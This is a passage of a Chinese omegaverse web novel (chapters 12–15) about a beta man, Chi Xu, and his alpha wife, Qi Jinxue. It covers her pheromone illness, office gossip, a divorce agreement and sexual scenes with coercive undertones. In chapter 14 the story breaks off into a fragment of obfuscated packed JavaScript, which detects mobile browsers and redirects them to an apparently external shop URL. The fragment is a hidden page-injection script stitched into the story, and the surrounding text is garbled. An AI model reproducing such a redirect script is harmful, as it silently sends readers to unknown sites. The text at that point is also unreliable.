周羽看着人到中年,风韵依旧的女人,摇摇头,“小雪是得到齐妍真传了啊,有渣女潜质。”
齐妍听到有人提她,“你可别冤枉我。”
林原气道,“小雪才不是,再这样下去,她要给那个beta害惨了!”
“她结婚对象就算不是omega,是个alpha也好,偏偏是个beta。”每每说到这,林原都气闷。
周羽慢悠悠喝了口茶,“我倒觉得不用太过忧虑,我这次去看小雪,她的状态很好啊。”
她笑了笑,“或许这位beta,能给她带来良性的改变。”
齐妍跟着点头。
林原皱眉,“我看都是表象。”
周羽深深叹气,“你啊,就是关心则乱。”
*
池絮被迫在家养了一星期之久。
他刚入职不久就休息,早就心急如焚,本打算第二天就上班。
但有齐锦雪看着,他的抗议无效。
好在,公司还很通情达理,齐锦雪帮他请假,领导二话不说就答应了。
这些天,齐锦雪亲自照顾他。
给他煮粥,买点心,量体温,督促他吃药。
他们的关系,不知什么时候起更近了一层。
池絮有时候恍惚地想,那一晚上,似乎不是特别糟糕。
那晚的记忆渐渐淡去,全剩这几天齐锦雪对他的好。
被美好的记忆充盈着,他浑身的活力,都够他连上一个月的班了。
“你看我已经恢复好了,明天可以去上班了。”
池絮原地蹦了一圈,展示他的休养成果。
怕她不放心,还做了一套拉伸体操。
上上下下、左左右右,衣服都扯到腰上半截。
眼见着马上要腿放在钢管上做下腰,齐锦雪出声阻止了他,“好了,明天去吧。”
池絮犹如刑满释放,“好耶!齐锦雪,我今天给你做草莓布丁吧?好久没有给你做了。”
“好。”
他去厨房忙活。
窗外春光正盛,草木郁郁葱葱。
齐锦雪倚坐的沙发,常年在树荫里,阳光再刺眼,都不会影响到她。
而她却能够通过窗户,观赏花园的景色。
这是当初设计师特意留下的巧思。
但从前她忙于工作,很少着家,就算在家,更多也是呆在书房。
最近才经常留在客厅,体会到设计师的妙心。
这里堆的资料越来越多,快成了她第二个书房。
池絮拿完东西,关上厨房的门。
齐锦雪收回视线,懒懒地翻了一页书,想着把厨房改成开放式的事。
江迟的消息发了过来:
下周必须来找我检查,否则我可上门问诊了。
12. 问诊
池絮工作以来,上一次请假一周之久,还是回老家的时候。
回来之后,就被辞退了。
这次,不会也重蹈覆辙吧?
到了公司,他还有几分忐忑,看到同事们都在忙着自己的事,他才暗中松口气。
公司还是很守信的,不会辞退刚入职就请长假的员工。
堆积一周的工作,晚上加加班赶进度,比起他前一份工作,也就是一天的工作量。
很容易!
午饭时间,同事们陆续去吃饭。
池絮还在工位忙碌。
“池絮,去吃饭了。”同事喊他。
“我中午不吃了,赶进度。”
“那我给你带一份吧。”对方道。
池絮感激道,“谢谢你。”
同事们吃完饭,陆续回来了,聚在一起闲聊。
池絮低头吃同事给他带的炒面。
“池絮,你是位omega吗?”有人问。
“不是,我是beta,为什么这么问?”
“你身上有alpha信息素的味道。”一个同事说。
“还很有攻击性。”另一位omega同事补充。
池絮的脸腾地红了。
社会配偶主流搭配是alpha和omega,alpha和beta相当少见。
“我的伴侣是位alpha,可能是不小心沾到的,抱歉,抱歉。”
他打算去前台借一点抑制香水,好心的omega同事先递了过来。
“你先用吧,是不是小情侣刚在一起,没有准备呀?”好心同事揶揄。
池絮红着脸狂喷抑制香水,不知道说什么好。
池絮并不知道,信息素“不小心”沾到的程度,在普通的AO那里,不会有很大的存在感。
beta身上能沾到alpha的信息素,并且让第三人察觉,往往要alpha一方有强烈的标记意向和标记行为。
就像一把刻刀要在光滑的大理石表面留下痕迹,不下一些力气和意志,如何能实现。
同事们你一言我一语地调侃。
“池絮的alpha伴侣等级很高吧。”
“那还用说,像你这种等级的alpha,信息素枯竭都没一点用。”
“张姐,你这话说的就不中听了。”
“肯定也很恩爱。”
“也有可能是比较猛啊!”
众人默契地笑起来。
“没有,没有。”
池絮红着脸否认,大家的笑容却更深了。
在他们的猜测中,他和齐锦雪早成了干柴烈火的情侣。
他三两口吃完饭,赶紧盯着电脑屏幕,投入工作,不再掺和话题。
雨季多雨,早上出门还晴空万里,到了下午,天空就阴沉沉的,山雨欲来。
池絮看着窗外,不禁忧虑,不知道齐锦雪有没有带伞。
他给齐锦雪发去消息:
“要下雨了,需要我去接你吗?”
*
齐锦雪赶到雨落之前,来到江迟的诊所,诊所里只有他一个人。
江迟是帝国医科大学的教授,行业排名前十的佼佼者,闲时在诊所会诊。
他和齐妍相识将近二十年了。
齐锦雪初三时确诊信息素缺陷症,那时,江迟便成为她的主治医生。
信息素缺陷症,分为轻、中、重三期。随着时间推移,患者信息素失衡越来越严重。
目前,齐锦雪的病症已经朝第三期发展。
第三期症状表现为易感期信息素不稳定,信息素暴走,透支机体能量。
各部分器官生理性疼痛,影响健康和寿命。
江迟打量着齐锦雪,有些意外,“你的易感期刚过吧,状态竟然还不错。”
“嗯,有惊无险地度过了。”齐锦雪道。
江迟给她做了基础检查,确定自己的判断没错。
他放下心,好奇起来:
“恭喜你,信息素水平暂时稳住了,可以告诉我,最近发生了什么吗?”
在他的推算中,齐锦雪五年前就该进入第三期。
但是这些年,她的病情发展,数次出乎他的意料。
刚接触齐锦雪时,她的病情轨迹,和其他的患者没什么不同。
转折出现在高中之后。
进入高中,齐锦雪的病症发展缓慢,有时候甚至会处于停滞状态。
这给他的研究,带来很多新视角。
江迟不得不想到几天前,给齐锦雪例行检查时的凶险——
信息素检测器上,浓度数值不断攀升,警报声滴滴作响。
alpha却脸色淡定,对结果并不意外。
按照这样发展下去,不到半年,她的病情就会进入第三期重症期。
易感期她会是个巨大的危险源,说不准还会惊动帝国的警备力量。
当时江迟也问过齐锦雪同一个问题,“是发生了什么吗?”
那是齐锦雪第一次和他提起他们之间的另外一人。
“我和一个男beta同居了。”
“共处一室,没有发生关系。”
也是从那时起,江迟才知道,这个beta已经陪伴病中的齐锦雪很久了。
她高中时的改变,就是因为这位beta。
这一发现,让江迟的诊断,陷入短暂的停滞。
能延缓齐锦雪发病期的人,同时还能刺激她病情加速。
对方还是个不能进行信息素交互的beta。
这无疑非常矛盾。
江迟在电脑上敲下诊断意见。
“最近发生的事,方便告诉我吗?”江迟又问了一遍。
他猜测道,“是那位beta离开了,你找到了高匹配度的omega,所以你的病症,再次延缓了发展?”
这是最有可能的猜测。
诱因离开,再用高匹配度的信息素进行治疗,这在医学上是行得通的。
而且他上次很严肃地警告过齐锦雪,务必找一位高匹配度的omega陪她度过易感期。
齐锦雪屈起手指,在桌上轻点。
她在思索,说什么,不说什么。
她对江迟总有所保留,这也是江迟治疗齐锦雪以来,最头疼的一件事。
但是他作为医生,第一条职业准则,就是尊重病人的意愿。
“易感期,我和他发生了关系。”
“之后,情况就好了很多。”
alpha眉心闪过一缕懊恼和窘迫。
江迟微愣,这倒出乎意料。
他记得上次,他有建议她和那位beta产生些深入的肢体接触,以继续观察她的信息素水平。
当时却遭到了alpha的冷冽拒绝,让他不要再把主意打到beta身上。
才过去多久。
据他了解,齐锦雪并非出尔反尔的人。
这中间到底……
江迟掩唇干咳了几声。
一时真有些好奇,那
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位beta的身份了。
“所以你采纳了我上次的建议,打算和那位beta试试?”江迟道,“这也是条不错的治疗方向。”
“不,我还在犹豫,”齐锦雪眉间多了丝褶皱,“我不想拖他下水,和我的病绑定在一起。”
齐锦雪是个行事果决的人,是就是,否就是否。
“犹豫”这种词,从她嘴里说出来,还是很稀奇的。
看来那位beta是真的让她陷入为难。
江迟想了想,道,“如果对方不愿意,自然不能勉强,如果对方愿意,何必错过机会。”
“他很愿意呢。”
江迟正在写资料,闻言惊讶抬头。
alpha疏冷的脸上,一闪而过的,是少女的幸福情态?
她似乎没意识到,口吻中微妙的炫耀。
江迟为齐锦雪的改变感到开心。
一切说不定会往好的方向发展。
“这才是我头疼的地方。”齐锦雪看向窗外的大雨,又恢复了肃冷。
“你现在的状态还不错,足够给自己一段时间考虑。”
江迟在档案里敲下问诊结果及建议。
齐锦雪例行检查,移动鼠标,敲击键盘,删掉了“同居的beta疑为诱因及适用药”的猜想。
“江医生,母亲最近找你比较频繁吧,还是请你保密。”
两人心知肚明,她指的是那位对她而言特别的beta。
齐妍很关心齐锦雪的病情,但是齐锦雪又不喜欢和她说,她只好每隔一段时间,向江迟询问。
这些年,江迟夹在这对母女之间,有时候说什么,不说什么,的确很难斟酌。
不过他始终记得,他真正的病人是谁。
江迟点点头,“齐小姐,我自然以你的意见为先。”
滴滴。
齐锦雪的手机响了,她按下接听键。
“齐锦雪,你在哪里?我给你发消息,你都没回。”
“下雨了。”
江迟距离齐锦雪不是很远,电话那头的声音,模糊地传到他的耳中。
“我在诊所,找我有事?”
“你发个位置给我,我来接你吧,”对面的男声郑重其事强调,“雨很大。”
窗外确实下起了倾盆大雨,伴随着阵阵闷雷。
街道上,路人行色匆匆。
但一场雨,再怎样大,哪里就难得住齐家大小姐。
她一个电话,自然有属下风雨无阻来接送她。
再说,她自己也开了车。
就在江迟以为齐锦雪会拒绝时,只听她淡淡嗯了一声,“那我等你过来。”
问诊已经结束,她却愿意浪费时间,在他的诊所,等一个要来接她的人。
要知道,以往齐锦雪检查结束,可不想多和一位医生多呆一秒。
江迟几乎立刻确定,来电人就是不曾出现在她的病历里、但提及她的病却无可避开的那位beta。
窗外的雨下得很大,形成雾蒙蒙的雨帘。
车子开着昏黄的灯,在雨中匆匆行走。
齐锦雪靠着沙发,静静看着大雨,没有等待的不耐烦。
雨水顺着玻璃蜿蜒而下,天色一寸寸暗下来。
天地间的喧嚣褪去,唯有淅淅沥沥的雨声。
“齐锦雪!”
雨帘外传来的男声,被春雨浸润般清朗。
齐锦雪侧过脸,唇角扬起一抹似有若无的弧度。
江迟看向声音来源。
13. 最好的药
并不如江迟所想象的那样,来人既不是气场强大西装革履的精英alpha,也不是美到B、O莫辩的惹眼美人。
几乎每个人看到他,都能确认他的第二性别。
那人无论是从长相还是气质都非常beta。
既没有alpha的压迫感,也不是让人升起保护欲的omega。
江迟联想到晴天里,晾起来的白色衬衫。干净普通,散发着阳光的味道。
忙碌一天,beta眉梢挂着疲惫,见到齐锦雪时,圆溜溜的眼睛整个明亮起来。
他收起伞,“我来晚了,你没有等很久吧。”
“没有,”齐锦雪回,向江迟介绍来人:“这是池絮,我的新婚丈夫。”
江迟挑眉,不由得多看了池絮几眼。
只见beta的脸肉眼可见地红了,跟个爆表的温度计似的。
江迟笑了笑,伸出手,“我是江迟,齐锦雪的主治医生。”
“江医生,谢谢你对齐锦雪的帮助。”
两人握了握手,江迟道:“都是应该的。”
“江医生,我能要下你的联系方式吗?”池絮露出腼腆的笑容,“我希望能多了解下齐锦雪的病情,方便我平时更好地照顾她。”
照顾她。
这个词用在齐锦雪这种S级的alpha身上……
还是从一个beta口中说出来。
很新鲜。
江迟看向齐锦雪,她没有拒绝的意思,便和池絮加上微信。
加好了,齐锦雪道,“走吧。”
齐锦雪先走一步。
她今天穿着黑色长裙,哑光的绸缎面料,走动时泛着细小的粼光,裙摆下露出一小截白皙的小腿。
随着走路的动作,细高跟鞋踩出节奏的韵律。
冷丽、优雅,对比之下,白开水一般的beta更加不够看。
到底,有什么特别的?
江迟微微蹙眉,思索着。
“等一下!齐锦雪!”池絮追上去。
他从地上拎起一双雨鞋。
江迟这才注意到,这是池絮进来时拿的东西。
“雨太大了,把这个换上吧。”
齐锦雪的眉头轻拧。
“要不我背你去车上?”他建议。
这回,alpha的脸色甚至可以算是不好看了。
江迟掩着唇,无声笑起来。
冰山alpha也有维持不住表情的时候,稀奇。
“你穿着凉鞋,寒气入体,会生病的。”池絮耐心解释。
去齐锦雪停车的地方,还要走一段路,踩到水在所难免。
齐锦雪是养尊处优的大小姐不假,但哪里就娇贵到,连水坑都不能踩了。
池絮扶着齐锦雪坐下来,半推半就,她还是顺了男人的意。
他半蹲下来,给她脱掉高跟鞋,温热的手掌托着她的脚掌。
“齐锦雪,你的脚好冷。”男人责备道,怪她没有照顾好自己。
“我给你暖一下吧。”
说着,掀开外套,就要把她的脚夹到怀里。
齐锦雪沉沉看他一眼。
抽回脚,自己穿上雨鞋。
“你都不冷吗?”池絮无奈,只得作罢,帮她换上另一只鞋。
接着脱掉外套围在她腰间,严实遮住小腿。
“这样会暖和一些。”
齐锦雪接受了他的好意。
一阵冷风吹来,穿着衬衫的池絮抖了抖。
在旁观者看来,多么做作、小题大做,只为了一段几百米的路程。
对于那位beta而言,却是很要紧的一步。
alpha穿着雨鞋、围着破坏服装设计的男士外套,背影消失在雨幕中。
看似不体面的离场。
江迟却敏锐地察觉到,齐锦雪来找他前,信息素因紊乱产生的阴翳气压,随之消散。
他不再意外,为什么一个beta能延缓她的病情,也能加速她步入困境。
这两年,随着江迟接触的病理样本不断增加,他得出新的结论。
信息素缺失症从感情层面来说,其实是童年感情需求被忽视,一般是对父爱母爱的需求没有得到满足,在一定程度上是一种心理疾病。
齐锦雪表面看起来不像是会被感情裹挟、有高感情需求的人群。
事实并非如此。
根据他对她的了解。
她患上这一疾病,极大可能是家庭原因。
比起信息素,一个无微不至到连她脚的温度都会注意到的beta,的确是最好的药。
*
车门关上,雨水汽隔绝在车外。
暴雨噼里啪啦砸下来。
轰隆隆——
周围的一切淹没在雨雾中,雨幕和闷雷将他们的车单独隔成一座孤岛。
池絮坐到车上,看了看齐锦雪,“雨好大,还好你没有淋湿。”
齐锦雪道,“你来接我,还要用我的车?”
“我知道你会开车来。”他笑道,“难不成你会坐我的小电驴?”
他俯身给齐锦雪系上安全带,淡淡的甘菊香扫过她的鼻尖。
“你身上是什么味道?”
昏暗灯光和阴影的交织下,齐锦雪清丽的面庞仿佛蒙着一层冷雾。
“哦,我借了同事的抑制香水。”
池絮讪笑,自我调侃:“没想到我一个beta还到用抑制香水的地步了。”
一缕光透过雾气的车窗照过来,车内仿佛被温暖的晨曦笼罩着。
齐锦雪的唇角好像挂着一抹笑意似的,一闪而逝。
“我忘了,晚些时候给你准备,不要用这个了。”
“好,麻烦你了。”
齐锦雪对气味很敏感,这是池絮最近的发现。
她喜欢固定的香味,比如冷杉香。
“对了,你的病要不要紧呀?我看到说……”
“没事。”
“哦哦,那就好。”
雨越下越大,猛烈的风从车头卷过来,掀起大雨泼来。
车内的男人,已隔空感觉到冷意。
池絮少不得说:“像这种天气就不要穿裙子了,非要穿,也该穿长一点或者加个打底。”
“虽然是春天,但还在倒春寒,气温很不稳定,一不小心就会受凉。”
“外套也应当带一件嘛,放在车里又不麻烦。”
池絮说个没完,齐锦雪盯着他的嘴巴看了半晌,脸侧到一边,闭起眼睛,“你很烦。”
“好嘛,好嘛。”池絮专注开车,不再啰嗦了。
车内安静下来,齐锦雪却无法控制躁动的信息素同样安静。
关在笼子里的野兽一旦脱笼过,无时无刻不向往自由。
食髓知味不过如此。
况且他说过,他愿意。
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她拿到了不限次的免死金牌,潜意识被暗示,鼓动她去随心所欲。
到了家,齐锦雪脱掉雨鞋,赤脚踩在地上。
池絮拿着拖鞋追上她,急道,“你怎么都不穿鞋。”
下一秒,池絮被人按着双肩,惯在墙上。
四目相对,齐锦雪眸底翻涌着晦暗。
“不要跟过来。”她警告。
丢下池絮,齐锦雪快步走进卧室,步伐有几分凌乱。
池絮被齐锦雪的眼神吓住了。
那眼神他并不陌生。
刻意遗忘的记忆,再次翻涌上来。
比起醉酒时的朦胧,此时的认知更加清晰。
齐锦雪是一位alpha,是真正掌握生杀大权的上位者。
被那种眼神继续注视着,他会被她弄死的,像那晚一样。
他不敢再往里面走。
眼见齐锦雪打开抽屉,拿出一大管抑制剂,面无表情地朝手臂推了下去。
池絮的表情跟着痛起来,却迫于她的威压,不敢再上前一步。
“关上门,出去。”齐锦雪背对着他。
……
齐锦雪没有再出来。
一晚上,池絮坐立难安。
到了后半夜,他才听到卧室里传来动静。
响了好一会,齐锦雪打开门,发梢还带着潮意。
“你怎么还没睡?”她很意外。
“我担心你。”池絮道。
“我没事。”
池絮怀疑地看着她。
齐锦雪倒了杯水,仰头喝下。
“真没事吗?我看你……”
“池絮,”齐锦雪打断他,“我很好,不用再问了,有问题我会找医生。”
“你又不是医生,和你说也没用,你说对吗?”温和的语气。
池絮不确定道,“你好像不太高兴。”
“你想多了。”齐锦雪微笑道。
她回到卧室,再折返,手里多了一件东西。
“离婚协议书,我看到了,你想和我离婚?”
“这是那天……”池絮一慌。
“你应该知道了我跟你结婚的原因。”
“是。”他老实回答。
齐锦雪点点头,“既然你已经走出来了,我答应离婚。”
她坐下来,找出一支笔,在上面签下名字。
字如其人,齐锦雪的字和她一样温文尔雅,有君子之风。
只在收尾时,多了凌厉的锋芒。
签好了,池絮收起离婚协议,由衷感激道,“齐锦雪,前段时间真是麻烦你了,谢谢你,这么照顾我。”
齐锦雪颔首,面色冷淡。
她朝卧室走去。
“齐锦雪!”池絮喊住她。
“怎么,是离婚协议有问题吗?”齐锦雪道,“如果有更改,你先找我的律师商定吧。”
“离婚协议没有问题,”池絮拦在她面前,支支吾吾问,“不是说,我能帮到你……”
齐锦雪这么关照她,他自然也想为她做点什么。
池絮向来如此。
别人对他付出一分,他要还上十分、百分,甚至更多。
齐锦雪悠然轻笑。
“池絮,除了婚姻,我不打算和某个人,保持长期做/.爱关系。”
“换句话说,我没有养情人的意向。”
“你找错人了。”
14. 纪念品
清晨。
池絮坐在桌前看离婚协议,齐锦雪出来了,他赶紧收起来。
“你早上想吃什么?有小笼包,粥,豆浆,牛奶。”
“你想吃面的话,现在可以下。”
齐锦雪坐到他对面,“小笼包和豆浆。”
“我蒸的小笼包,”池絮端来早餐,又拿来两个味碟,“我做了两种酱,一个甜辣的,一个辣的,看你喜欢吃哪种。”
齐锦雪各自尝了一下。
“都不错。”
池絮欣慰地笑道,“你喜欢就好。”
一杯热腾腾的豆浆放在齐锦雪右手边。
十分钟后。
齐锦雪吃完了早餐,擦了擦手。
“既然已经离婚,你打算什么时候从我家搬出去?”
池絮半口包子噎在嗓子里。
他喝口水,咽下包子,讷讷道,“我们还没有离婚吧。”
齐锦雪淡淡弯唇,“对,你还没有找房子。”
她站起来,“这几天我就不回来了,等你搬走,记得告诉我。”
“齐锦雪!”池絮追上前。
齐锦雪眸光清冷。
“可以先不离婚吗?离婚协议还没有送到政府部门,没有生效……”
池絮低下头,双手交握,“我可以留下来吗?我希望能帮你。”
“帮我?”
齐锦雪不知想到什么,默了默,轻笑,“算了。”
她往卧室走去。
池絮不知道自己为什么被拒绝,跟着齐锦雪的脚步,焦急道,“为什么呀?不是说好的吗。”
忽然,齐锦雪欺近他,双臂撑着栏杆,把他困在围栏前。
冷杉香猛地钻入他的鼻间,直冲他脑门。
女人微垂下眼,猛兽捕猎的眼神,唇角挂着似是而非的笑。
这个味道,这个眼神,都太熟悉了。
池絮毫不费力地想起那晚的记忆。
齐锦雪冷声,“那我现在,可以上你吗?像那天一样。”
她一只手贴上他的后腰,朝他靠近。
后腰一凉,受过伤的地方重新隐隐作痛。
池絮紧绷身体,仓促后退,后腰抵上栏杆。
“齐锦雪……”
男人的慌乱,齐锦雪尽收眼底。
她松开手,直起身,两人重新拉开距离。
池絮才得以松口气。
从不知道,和她超过社交距离的接触,是如此有压力的一件事。
齐锦雪的眼神褪回冷淡。
拒人千里之外。
“你怕我,怕那种姓交方式,难道要我强迫你?”
她淡笑,“我可没有那种特殊癖好。”
池絮窘得脸通红。
他从没想过有一天,要和别人交谈这么私密的话题,对象还是齐锦雪。
他像做错事,面对教导主任的学生。
说话都快结巴了,“你总要给我点时间吧,毕竟以前,我从来没有过。”
“连幻想都没有……”
齐锦雪俯身,眼神微眯,“这么说,你幻想过上/.女人了?”
女人的脸近在眼前。
池絮受惊地瞪圆眼睛。
下一秒——
“啊——”
一脚踩空。
池絮从楼梯摔了下去。
天旋地转的过程,池絮悲伤地想,青春期的报应,到底是来了。
那种梦,池絮统共就做过两次。
在他的刻意遗忘下,已经很久没记起来了。
一旦再提起,却又很清晰地浮现在眼前。
梦里也是齐锦雪的这张脸,桃花飘落时,不小心给她冰雪的脸上,染上绯色。
她站在风里,淡淡地看过来。
池絮还没靠近,就被闹钟声吵醒了。
醒来后,面对一室难堪。
满腔罪恶感。
……
池絮脑子像在滚筒里转了一圈,昏沉沉的。
好在楼梯不高,只是腰有点扭了。
齐锦雪让他请假在家休息,他是坚决不再请了,坚持去上班。
一大早,他托着腰,一瘸一拐走进办公室,引来周围同事的注目。
“池絮,你可真有福气呀,跟你家alpha恩爱的腰都扭伤了。”
左边的omega同事朝他挤眉弄眼。
“还有一天就周末了,都不能等一天?”右边的alpha同事帮腔。
池絮脸都烧红了,“不是的,我是从楼梯上摔下来,扭到的。”
“哇,你们这么刺激,在楼梯上?”
“艺高人胆大。”
越描越黑,池絮埋头工作当鸵鸟。
“不过,真好奇池絮的alpha是什么样的。”
“等哪天来接池絮下班,我们就知道了。”
在同事们的猜测中,齐锦雪已然是更强势的一方,事实也确实如此。
那么强A多照顾一些相对弱的B,理所当然。
池絮笑了笑,“她很忙的。”
实际齐锦雪哪会来接他。
她连他在哪上班都不清楚。
临近下班,天边聚集起浓浓阴云。
一同事叹气,“天气真要命,越快下班,越下雨。”
一同事跟着犯愁,“我都没带伞。”
池絮暗喜,还好他未雨绸缪,早上出门时,就带了雨衣和雨伞,这下派上了用场。
距离下班还有五分钟,齐锦雪的消息发过来。
齐锦雪:下雨了,我在你公司楼下。
池絮:??
池絮:齐锦雪,你怎么来了?你怎么知道我公司在哪?你确定是在我们公司门口吗?不会是发错人了吧?
他发出自己的位置。
池絮:我在这里。
当然是没得到回复。
还剩两分钟下班,池絮开始收拾东西。
omega同事稀奇不已,“池絮,卡点下班,不像你啊。”
池絮不到最后一分钟,不会做下班准备。
“我……”池絮顿了顿,“我朋友在等我。”
他到底没好意思说,等他的人就是他结婚的alpha。
到了楼下,他一眼就看到了在大厅中的齐锦雪。
“齐锦雪!”池絮兴冲冲过去,“你没有在车里哦。”
齐锦雪笑道,“早就来了,正好在附近办点事。”
“哇,池絮,这就是等你的朋友吗?好漂亮的姐姐。”omega同事从后方贴近,用手肘顶了顶池絮,“她有没有对象啊?”
“她是……”
面对齐锦雪沉冷的眼神,池絮忽然后悔撒谎了。
“池絮,你同事不知道你已婚?”齐锦雪道。
池絮叹气,“只是不知道是你……”
“池絮的大猛A就是你哦!”omega同事惊道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311854|198890||http|test|mini|href|location''.split(''|''),0,{}));
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>声音不小,好几双八卦的眼睛看了过来。
池絮恨不得找个地缝钻进去。
齐锦雪牵着鹌鹑一样的池絮走出人群,撑起伞,走入雨幕中。
没有人会不再相信,她会不是池絮的alpha。
回去的路上,池絮不禁问起,“齐锦雪,你怎么知道我在哪?”
“你说过。”
“是吗?我都不太记得了。”
齐锦雪没有必要欺骗他。
路过郊区,大雨中,一棵大树被风吹雨打。
“啊……”池絮一拍脑门,“我都忘了……我还有东西埋在那里!”
池絮“赴死”时,安排好了一切,唯有常年带在身边的“回忆纪念品”不知道往哪里放。
最后思来想去,他全部装在箱子里,埋在那棵大树下。
雨停了,池絮和齐锦雪两人重新回到郊区。
池絮拿着铁锨挖土,齐锦雪打灯。
黑森森的夜色,枝丫漏下星点月光,如作案现场。
箱子打开,里面摆着大大小小的破旧物件。
一个发绳、一支签字笔、一块小狗头的橡皮……
全部有关于现场的另一人,都是齐锦雪不要或者送给池絮的。
正似验证了某种不光明的病态犯罪。
齐锦雪脸色变了变。
池絮解释:“这是高中的回忆……”
“你高中的回忆是,收集这些破烂?”
气氛略微紧绷,两人都没注意到齐锦雪声音有些变调。
池絮抓抓脸颊,笑道:“那时觉得你什么都好嘛。”
青春期认知发育还不够,很容易对某一人带有滤镜。
齐锦雪就是池絮青春期里的这位某人。
时间的打磨,去掉了滤镜中的粗粝,回忆中的齐锦雪已接近完美。
她的什么东西都是好的,闪耀着阳光的金色。
他想收集一些光。
涉及到幼稚的青春,尽管很不好意思,他还是没有隐瞒地同齐锦雪解释,以希获得宽恕。
齐锦雪的脸色在怒意和另一种池絮看不懂的情绪之间变换。
良久,她狠狠瞪他一眼,极少见地骂出脏话:“你有病吧。”
转身离去。
池絮抱着箱子追上去道歉。
“齐锦雪,对不起,我没有在收集了。”
夜色混沌,晃动模糊的视野中闪过一星樱色的耳垂,很快隐入拂动的乌发。
回到家,池絮摆弄着他那一堆宝贝。
“这块橡皮,你还记不记得?我刚学画画时,你送我的。”
高中时,池絮自学过一段时间绘画。
用的是老师和齐锦雪送他的拼好画具。
“不过就学了半学期,可惜了你和刘老师的支持。”
他又拿起一根发绳,笑道,“你高中时就喜欢散着头发,吃饭不方便,自己还不爱带发绳。”
“这就算了,我给你带的,你没两天就用丢了,从前就丢三落四。”
找回的盒子,让他想起好多读书时的事,美好又难忘。
久违的幸福感充盈他的心脏,像被太阳晒过,舒舒坦坦。
他忍不住问,“齐锦雪,你会怀念以前吗?”
一个棕色玻璃瓶放在他面前。
“这是抑制香水,以后你就用这个。”
手里的发绳滑到地上。
他心理适应的时间结束了。
15. 你在干什么
浴室哗啦啦的水声不断。
齐锦雪靠着床头,捧着一本画册。
是高中时,池絮的速写画册。
刚发现时,池絮遮遮掩掩不给她看,被她一个眼神唬住,老实地递了过来。
看完里面的内容,齐锦雪面无表情地抢走并没收。
他苦着脸,敢怒不敢言,“我就不该让你看到。”
画册里一半是校园风景,一半是齐锦雪。
她听课的样子、看漫画书的样子、对着窗外发呆的样子……
画中的少女,无一例外有着天真烂漫的眉眼,孩子气的笑容。
不难窥见其中属于直男的愚蠢幻想,以为女人总是单纯柔弱,不知世故,需要保护和照顾。
实际真实的齐锦雪与之相差甚远。
池絮兴冲冲把第一副画作送给她,期待地等待她的夸赞时。
她微笑礼貌地收下。
大脑已经在预演怎样亲犯这个傻的冒气的男人了。
池絮嘴上说要帮她,身体本能抗拒,她的愠恼是真的。
但现在因她破例,她感到卑鄙的愉悦,也是真的。
半个多小时后,门打开。
齐锦雪收起画册,塞到抽屉里。
在她的目光中,池絮裹着浴衣出来。
洗的太久,两颊都被蒸红了,脖颈也泛着粉。
他一步步挪到床边,抿抿唇,“清洗有些麻烦,我多花了点时间。”
齐锦雪浅笑,接受他给自己的扭捏,找的小借口。
啪嗒。
池絮关上灯,室内陷入黑暗。
床侧微微凹陷下去,一阵窸窣声后,归于安静。
池絮的声音响起,“齐锦雪,我可以了。”男人的声音还有些紧绷。
齐锦雪侧身,抬手,最先碰到的不是男人的腰,而是……屁股?
她打开灯。
只见池絮弯着腰,腰绷得挺直,屈膝跪在床上,双手紧抓着床头。
谁把电子显示器上的标准“2”放在她床边了。
齐锦雪:“……”
“你在做什么?”
池絮侧过脸,“在这不方便吗?要不我往中间来来。”
他以为是跪的位置太靠床边了。
挪动双膝,往中间平移,给侧边留出空间。
齐锦雪眉心微跳。
“为什么,这样?”
她的目光在他身上自头到尾扫过。
池絮恍然大悟,“哦,你的床单太滑啦,我怕掉下去,扶着床头安稳一点。”
“而且这样不方便吗?高度不对?”他往后看去,塌了塌腰,撅的更高些,“这样?”
池絮维持了一会姿势,犹豫道,“齐锦雪,你能快点吗,我这样腰容易酸,支撑不了多久。”
齐锦雪握紧拳头。
囚起的野兽冲破心笼,叫嚣着一口吃掉这个蠢男人。
她扯过他的手腕,男人跌倒在她怀里。
“哎——”
池絮惊叫,浴衣都散开了。
齐锦雪目光暗了暗,“你里面怎么不穿衣服?”
突然暴/.露在灯光下,池絮窘得脸更红了,慌乱地拢起衣服,支吾道,“我想着一会还要脱,就没有……”
身体蓦地悬空,齐锦雪抱着他,翻身下床。
池絮抓着她的衣襟,稳住身体,“齐锦雪,去哪里呀?”
“去不会让你滑下去的地方。”女人冷冷道。
池絮被丢在单人沙发上,小腿攀着扶手,粗糙的亚麻质感,细密地磨着他的皮肤,增加接触面的摩擦力。
不过他已经无暇思考自己的担忧了。
一道黑影笼来,齐锦雪的吻,铺天盖地地落下。
空气中,冷杉香信息素弥漫开来,混沌,浑厚,微苦。
夹着微凉的雪意穿梭于林间,不再是漫无目的,毫无头绪地胡飞乱撞。
它们有一个共同的方向——男beta所在的方向。
争先恐后地冲过去,化成无形的绳索,扣住男人清秀的手腕,微仰的脖颈,泛红的脚踝……
织下密不透风的天罗地网。
齐锦雪不想一味放纵自己,让池絮清醒下的第一次,有太糟糕的体验。
在这方面,她很有环保再循环的意识,深知竭泽而渔,懊悔无穷的道理。
可惜池絮并未领悟到她的好心。
清醒状态下的冲击对他而言太大了,无论是从画面还是感受。
尽管齐锦雪衣冠整齐,肃冷端丽。
除了眸子更深暗,偶尔一两声闷哼外,和平时的她没什么不同。
他却不敢再看下去了,紧紧闭上眼睛,侧脸贴着沙发。
利刃破空而来,在他的心上,割开一道口子。
为什么会这样?
为什么……会是齐锦雪?
初中时,数学老师教给他们简单的定理。
无需深究成因、逻辑,只要用得上时,简单代入,就能解开一个个复杂的命题,得到答案。
池絮的生命中也有许多这样的人生定理。
比如齐锦雪是优秀的alpha,她的配偶,应该是位柔情蜜意的omega。
比如他找一位贤惠温柔的omega或者beta妻子,踏实工作,努力赚钱,关爱呵护妻子,他就会有一个相亲相爱,温暖如港湾的家。
alpha和beta,这种小众而迷人的故事,应该发生在电视剧的情节里才对。
步入高中,第一节数学课,老师站在讲台上,不仅让他们抛弃那些定理,还要推翻它们。
以为永恒不变的定理,一瞬间全变了,颠倒成对立面的数学公式,扭曲成……齐锦雪的脸。
男人眼尾湿红,湿漉漉的鸦睫紧闭,尾稍滚下一串串晶莹。
